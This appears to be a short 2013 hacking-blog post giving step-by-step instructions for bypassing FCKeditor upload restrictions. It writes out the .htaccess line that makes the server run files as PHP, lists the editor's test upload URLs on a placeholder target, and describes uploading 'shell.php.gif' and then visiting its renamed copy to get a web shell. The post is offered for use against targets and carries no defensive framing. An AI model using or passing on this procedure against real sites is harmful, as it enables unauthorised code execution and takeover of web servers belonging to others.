Bypass all versions FCKeditor with htaccess 1.create a htaccess file (.htaccess): SetHandler application/x-httpd-php 2.Now upload this ...

Bypass all versions FCKeditor with htaccess

Friday, December 27, 2013 Sensei Fedon 0 Comments

Bypass all versions FCKeditor with htaccess
1.create a htaccess file (.htaccess):
SetHandler application/x-httpd-php
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/t
est.html
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to
"shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.

0 comments: